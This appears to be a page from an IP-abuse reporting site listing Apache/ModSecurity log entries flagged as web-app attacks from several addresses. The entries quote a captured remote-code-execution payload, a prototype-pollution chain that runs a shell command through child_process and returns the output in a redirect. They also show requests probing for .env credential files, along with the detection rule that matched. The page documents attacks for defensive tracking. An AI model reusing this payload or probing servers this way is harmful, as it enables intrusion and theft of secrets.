10/Nov/2026:23:36:27.653031Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.65.30.93] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇷
34.95.236.189
|
|
10/Nov/2026:22:56:35.616041Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.95. ...
show more
10/Nov/2026:22:56:35.616041Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.95.236.189] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [ta
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇪
34.38.252.135
|
|
34.38.252.135 - - [10/Nov/2026:22:41:55 -0500] "GET /api/.env HTTP/1.1" 404 839 "-" "Mozilla/5.0 (Wi ...
show more
34.38.252.135 - - [10/Nov/2026:22:41:55 -0500] "GET /api/.env HTTP/1.1" 404 839 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
34.38.252.135 - - [10/Nov/2026:22:41:56 -0500] "GET /backend/.env HTTP/1.1" 404 1163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
34.38.252.135 - - [10/Nov/2026:22:41:56 -0500] "GET /app/.env HTTP/1.1" 404 1163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
...
show less
|
Bad Web Bot
Web App Attack
|